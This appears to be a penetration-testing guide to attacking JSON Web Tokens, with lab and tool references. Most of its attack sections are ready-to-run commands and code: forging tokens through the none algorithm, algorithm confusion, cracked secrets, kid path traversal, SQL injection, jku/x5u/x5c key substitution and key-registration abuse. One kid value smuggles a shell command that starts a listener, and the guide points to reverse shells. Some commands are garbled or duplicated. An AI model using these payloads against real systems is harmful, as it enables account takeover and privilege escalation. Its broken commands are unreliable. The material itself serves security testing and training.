JWT Hacking

Introduction

JSON Web Token (JWT) is a widely used standard for securely exchanging information between parties, commonly applied in authorization processes. JWT is compact, readable, and digitally signed using a private or public key pair by the Identity Provider (IdP), allowing the integrity and authenticity of the data to be verified by other parties involved.

JWT serves primarily to ensure data authenticity rather than conceal data, as it is signed and encoded but not encrypted. It operates as a stateless, client-side authentication mechanism that relieves the server of storing session data.

JWT Structure

A JWT consists of three elements:

  1. Header: Specifies the token type and signing algorithm. Typical algorithms include HMAC, SHA256, RSA, HS256, and RS256.

  2. Payload: Contains user-related information such as user ID, username, role, and custom claims.

  3. Signature: The key component of JWT, generated by encoding the header and payload with Base64url Encoding and concatenating them with a period (.). The Identity Provider uses a private key to create this signature, preventing unauthorized token tampering.

Format:

header.payload.signatureEncryption 

JWT can be generated using symmetric or asymmetric encryption:

  • Symmetric Encryption: Utilizes a single key for both creation and verification. The HS256 algorithm is commonly used.

  • Asymmetric Encryption: Requires a public key for verification and a private key for signing, with RS256 as the most frequent algorithm.

Key Components in JWT Header

JWT headers can include several optional parameters that may pose security risks if improperly handled:

  • Key ID (kid): Identifies a specific key in the filesystem or database for signature validation. If injectable, an attacker could reference a known file.

  • jku: Specifies a URL that refers to a set of keys for token validation, which attackers could manipulate if improperly controlled.

  • jwk: Allows embedding the key directly within the token, potentially enabling an attacker to introduce malicious keys.

  • x5u and x5c: Provide public key certificates or certificate chains within the token, with x5u as a URI and x5c embedding data directly.

  • x5t: Contains a Base64url-encoded SHA-256 thumbprint of the X.509 certificate, analogous to the key identifier or kid claim.

Key Claims in Payload Section

Several claims in the payload are integral to JWT’s security:

  • jti: Prevents replay attacks by adding a unique identifier.

  • iss: Identifies the token issuer.

  • iat: Specifies the token issuance time.

  • nbf: Indicates the time before which the JWT is invalid.

  • exp: Sets the token’s expiration time.

  • aud: Identifies the intended audience.

Workflow

A typical JWT authentication workflow includes the following steps:

  1. The user authenticates with credentials or a third-party identity provider like Google or Facebook.

  2. The authentication server validates the credentials and issues a JWT, signed using either a secret or a private key.

  3. The client passes the JWT in the HTTP Authorization header to access protected resources.

  4. The resource server verifies the token’s authenticity using the shared secret or public key.

Tools:

GitHub — ticarpi/jwt_tool: A toolkit for testing, tweaking and cracking JSON Web Tokens

GitHub — hahwul/jwt-hack: 🔩 jwt-hack is tool for hacking / security testing to JWT. Supported for En/decoding JWT, Generate payload for JWT attack and very fast cracking(dict/brutefoce)

GitHub — mazen160/jwt-pwn: Security Testing Scripts for JWT

GitHub — brendan-rius/c-jwt-cracker: JWT brute force cracker written in C

GitHub — jmaxxz/jwtbrute: Brute forcing jwt tokens signed with HS256 since 2014

GitHub — Sjord/jwtcrack: Crack the shared secret of a HS256-signed JWT

JSON Web Tokens

JSON Web Token Attacker

GitHub — wallarm/jwt-heartbreaker: The Burp extension to check JWT (JSON Web Tokens) for using keys from known from public sources

JWTweak

Attacking JWT

Finding JWT Tokens:

  • JWT tokens can be discovered by searching for them in the proxy history using regular expressions.

  • Common regular expressions to find JWT tokens:

"[= ]eyJ[A-Za-z0-9_-]*\.[A-Za-z0-9._-]*"
"[= ]eyJ[A-Za-z0-9_\/+-]*\.[A-Za-z0-9._\/+-]*"

Identify a Test Page:

  • Locate a request to a page that utilizes JWT tokens and provides clear responses depending on token validity.

  • A profile page is a good candidate to start with.

Verify Token Validity:

  • Send the request to the repeater and check if the same token works again. If not, the token might have expired.

  • Once confirmed, you can proceed with testing various attack methods.

Check for Sensitive Data in the JWT:

  • Turn on intercept in Burp Suite and log in to the web application.

  • Forward the request until you get the JWT token.

  • Switch to the JSON Web Token Tab.

  • Inspect the payload section for any sensitive information, such as user details.

If sensitive information is found in the payload, it’s a security concern as JWT tokens are often not encrypted, and the information could be easily decoded.

Bypassing JWT Using the “None” Algorithm:

  • Turn on intercept in Burp Suite and log in to the web application.

  • Forward the request until you capture the JWT token.

  • Switch to the JSON Web Token Tab or JOSEPH (which also supports bypass).

  • Modify the alg value from its current algorithm (e.g., RS256) to none:

  {
    "alg": "none",
    "typ": "JWT"
  }
  • Remove the signature or set it to empty:

"signature": ""
  • Forward the request to complete the attack.

Using JWT_Tool for JWT Bypass:

  • Turn on intercept in Burp Suite and log in to the web application.

  • Forward the request to capture the JWT token.

  • Execute the following command to generate bypass payloads, replacing <JWT> with the captured JWT token:

python3 jwt_tool.py <JWT> -X a
  • Test different payloads generated by the tool by inserting them into the request.

  • If one of the payloads works, use that token to proceed.

Change Algorithm from RS256 to HS256:

  • Turn on intercept in Burp Suite and log in to the web application.

  • Forward the request until you capture the JWT token.

  • Get the Public key from the application (e.g., pubkey.pem file) using the following commands:

openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem

or

oopenssl s_client -connect zonksec.com:443 | openssl x509 -pubkey -noout
  • Use the following command to generate a JWT token:

python3 jwt_tool.py <JWT> -S hs256 -k pubkey.pem
  • Use the generated token in the request and try changing the payload.

  • Forward the request to complete the attack.

This will work when the web app supports both algorithms.

Signature Not Being Checked:

  • Turn on intercept in Burp Suite and log in to the web application.

  • Forward the request until you capture the JWT token.

  • Switch to the JSON Web Token Tab or JOSEPH.

  • Modify the payload section and remove the signature completely, or change some characters in the signature.

  • Forward the request to complete the attack.

Crack the Secret Key:

  • Turn on intercept in Burp Suite and log in to the web application.

  • Forward the request until you capture the JWT token.

  • If the JWT-Heartbreaker Plugin is installed, weak secret keys will be shown directly.

  • Or you can Copy the JWT token and store it in a text file, then use Hashcat to crack the secret key:

hashcat -a 0 -m 16500 jwt_token.txt /usr/share/wordlist/rockyou.txt --force
hashcat -a 0 -m 16500 jwt_token.txt /usr/share/wordlist/rockyou.txt --show   # to display the cracked secret key
  • You can also use JWT_Tool to crack the secret key:

python3 jwt_tool.py <JWT> -C -d secrets.txt
  • Use the cracked secret key to forge a new JWT token and forward the request.

Attacks Using kid in JWT Token

  • Turn on intercept in Burp Suite and log in to the web application.

  • Forward the request until you capture the JWT token.

  • If there is a kid in the header section of the JWT token, forge a new JWT token using JWT_Tool:

python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
  • Alternatively, use the content of any file in the web root, such as CSS or JS, to validate the signature:

python3 jwt_tool.py -I -hc kid -hv "path/of/the/file" -S hs256 -p "Content of the file"
  • Manipulate the payload section and use the generated token in the request.

  • Forward the request to complete the attack.

SQL Injection via kid

  • Turn on intercept in Burp Suite and log in to the web application.

  • Forward the request until you capture the JWT token.

  • Switch to the JSON Web Token Plugin tab and manipulate the kid field with an SQLi payload:

python3 jwt_tool.py <JWT> -I -pc name -pv "admin' ORDER BY 1--" -S hs256 -k public.pem
  • Forward the request and escalate the SQLi further.

Command Injection via kid

  • Turn on intercept in Burp Suite and log in to the web application.

  • Forward the request until you capture the JWT token.

  • Switch to the JSON Web Token Plugin tab and manipulate the kid field with a command injection payload:

kid: key.crt; whoami && python -m SimpleHTTPServer 1337 &
  • Use the forged JWT token in the request.

  • Check if you can connect to the server on port 1337 or use a reverse shell payload to verify if you get a connection back.

  • Done!

Forged Header Parameter

JSON Set URL (jku):

  • Turn Intercept on in Burp Suite and log in to the web application.

  • Forward the request until you capture the JWT token.

  • Decode the JWT token and check if it contains the jku attribute in the Header section.

  • Generate your Public and Private Key pair using the following commands:

openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
  • This will generate publickey.crt (Public Key) and pkcs8.key (Private Key).

  • Use jwt.io and paste the public key (publickey.crt) and the private key (attacker.key) in their respective places in the “Decoded” section.

  • Host the generated certificate locally and modify the jku header parameter accordingly.

  • Retrieve the jwks.json file from the URL present in the jku header claim:

wget http://example.com:8000/jwks.json
  • Create a Python script getPublicParams.py:

from Crypto.PublicKey import RSA

fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()

print "n:", hex(key.n)
print "e:", hex(key.e)
  • Run the Python script:

python getPublicParams.py
  • Update the values of n and e in the local jwks.json.

  • Host the JWK Set JSON file using repl.it or any server.

  • Manipulate the payload section and copy the generated JWT token from jwt.io.

  • Replace the JWT token in your request and forward. Done!

x5u Claim Misuse:

Note: The algorithm used for signing the token is “RS256”. The token uses the x5u header parameter, which contains the location of the X.509 certificate to be used for token verification.

  • Turn Intercept on in Burp Suite and log in to the web application.

  • Forward the request until you capture the JWT token.

  • Decode the JWT token and check if it contains the x5u attribute in the Header section.

  • Create a self-signed certificate:

openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
  • Extract the public key from the generated certificate:

openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
  • Use jwt.io and paste the public key (publicKey.pem) and the private key (attacker.key) in their respective places in the “Decoded” section.

  • Set x5u: http://192.87.15.2:8080/attacker.crt. You can use repl.it to host.

  • Done! Use the forged JWT token in the request.

x5c Claim Misuse:

Note: The algorithm used for signing the token is “RS256”. The token uses the x5c header parameter, which contains the X.509 certificate to be used for token verification. The token has various fields: n, e, x5c, x5t, kid. Also, the kid value is equal to the x5t value.

  • Turn Intercept on in Burp Suite and log in to the web application.

  • Forward the request until you capture the JWT token.

  • Decode the JWT token and check if it contains the x5c attribute in the Header section.

  • Note: jwt.io automatically extracts the X.509 certificate and places it in the “Verify Signature” sub-section in the “Decoded” section.

  • Create a self-signed certificate:

openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
  • Extract RSA public key parameters (n and e) from the generated certificate:

openssl x509 -in attacker.crt -text
  • Convert modulus (n) to base64-encoded hexadecimal strings:

echo "Modules (n) value will be here" | sed 's/://g' | base64 | tr '\n' ' ' | sed 's/ //g' | sed 's/=//g'
  • Convert exponent (e) to base64-encoded hexadecimal strings:

echo "exponent (e) here" | base64 | sed 's/=//g'
  • Find the new x5c value:

cat attacker.crt | tr '\n' ' ' | sed 's/ //g'
  • Find the new x5t value:

echo -n $(openssl x509 -in attacker.crt -fingerprint -noout) | sed 's/SHA1 Fingerprint=//g' | sed 's/://g' | base64 | sed 's/=//g'
  • Note: The kid parameter would also get the same value as the x5t parameter.

  • Create a forged token using all the parameters calculated in the previous steps.

  • Visit jwt.io and paste the token retrieved in Step 3 in the “Encoded” section.

  • Paste the X.509 certificate (attacker.crt) and the private key (attacker.key) in their respective places in the “Decoded” section.

  • Manipulate the Payload section and copy the forged token.

  • Replace the forged token in the request and forward. Done!

1. Key Database Mismanagement

In this attack, the vulnerability lies in poor management of JWT public keys, allowing attackers to register their own keys. By adding a public key to the target’s keystore, attackers can then forge tokens with admin privileges using their private key. This enables unauthorized access to restricted resources, like an admin panel or other high-privilege endpoints.

  • Start by locating the target’s IP and active services to identify potential endpoints for JWT handling:

nmap -sS -sV -p 8080 192.108.121.3
  • This reveals that a Python-based HTTP service is running on port 8080, which might be hosting the vulnerable API.

  • Use curl to interact with available endpoints, like /issue for token issuance or /register for key registration.

curl http://192.108.121.3:8080/issue
  • The response should provide a JWT token, likely for a non-admin user.

  • Decode the token to inspect claims such as "iss", "exp", and "admin". Noting "admin": "false" indicates that the current token lacks admin rights, which sets the goal to escalate privileges.

  • Sample decoded payload:

{   
"iss": "witrap.com",   
"admin": "false",   
"user": "elliot",   
"exp": "1575184862",   
"iat": "1575098462" 
}
  • Here, we know the token is signed using RS256 (an asymmetric signing algorithm), meaning it requires the private key of the issuer (witrap.com) for signing and a corresponding public key for verification.

The critical vulnerability lies in the key management system:

  • The public keys used to verify the JWTs are stored in a database or file system that is accessible or modifiable by the attacker.

  • The system may allow public key registration. If accessible, attackers can register their public key, which the server will later use for JWT verification. This opens the door to signing tokens with a private key and gaining admin access.

If the public key management API allows users to register keys, this is where the exploitation occurs:

  • Using openssl, create a key pair for signing and verification:

openssl genpkey -algorithm RSA -out private_key.pem openssl rsa -pubout -in private_key.pem -out public_key.pem
  • Convert the public key into a format that can be registered:

cat public_key.pem | tr '\n' ';' | sed 's/;/\\n/g'
  • Convert the public key to a format suitable for the request and register it:

curl -X POST -H "Content-Type: application/json" http://192.108.121.3:8080/register -d '{"username": "elliot", "publickey": " - - -BEGIN PUBLIC KEY - - -\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0QGTnBy7zWx..."}'
  • Now, the system associates your public key with the username elliot.

With the attacker’s public key now in the database, you can forge a valid JWT token using your private key. Modify the payload to include an “admin”: “true” claim, effectively impersonating an admin.

Use a JWT library (e.g., PyJWT in Python) to create an admin token. Key details include setting "admin": "true" in the payload and signing with the private key.

Sample Python code to create a signed JWT:

import jwt
private_key = open("private_key.pem").read()
payload = {
    "iss": "attacker.com",
    "admin": "true",
    "user": "elliot",
    "exp": 1700000000
}
forged_token = jwt.encode(payload, private_key, algorithm="RS256")
print(forged_token)

Send the forged token to an admin-only endpoint, such as /goldenticket:

curl -X POST -H "Content-Type: application/json" -d '{"token": "<forged_token>"}' http://192.108.121.3:8080/goldenticket

If successful, the server will issue the golden ticket, which is typically a privileged access token or admin access to the application.

Hacking JWT Tokens: Key Database Mismanagement

For Other Attacks :

Verification Key Mismanagement

Hacking JWT Tokens: Verification Key Mismanagement

Hacking JWT Tokens: Verification Key Mismanagement II

Hacking JWT Tokens: Verification Key Mismanagement III

Hacking JWT Tokens: Verification Key Mismanagement IV

Vulnerable Key Generator

Hacking JWT Tokens: Vulnerable Key Generator

Transaction Replay

Hacking JWT Tokens: Transaction Replay

Hacking JWT Tokens: Transaction Replay II

JWS Standard for JWT

Hacking JWT Tokens: JWS Standard for JWT

Hacking JWT Tokens: JWS Standard for JWT II

Bypassing NBF Claim

Hacking JWT Tokens: Bypassing NBF Claim

Special Version Claim

Hacking JWT Tokens: Special Version Claim

Cross Service Relay Attack — Missing audience claim

Hacking JWT Tokens: Cross Service Relay Attack — Missing audience claim

Cross Service Relay Attack — Misconfigured audience claim

Hacking JWT Tokens: Cross Service Relay Attack — Misconfigured audience claim

Quick Methodology:

1. Copy Jwt token from the request

2. Use Jwt_Tool

3. use command :

python3 jwt_tool.py -M at -t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" -rh "Authorization: Bearer eyJhbG…<JWT Token>"

4. Check for green line

MindMap:

Labs:

TokenLab : JWTLabs

https://github.com/h-a-c/jwt-lab

GitHub — Sjord/jwtdemo: Practice hacking JWT tokens

Reports:

site:hackerone.com inurl:reports “jwt”

Video:

How to Exploit “Json Web Token”(JWT) vulnerabilities | Full Practical

ATTACKING JWT FOR BEGINNERS!

Last updated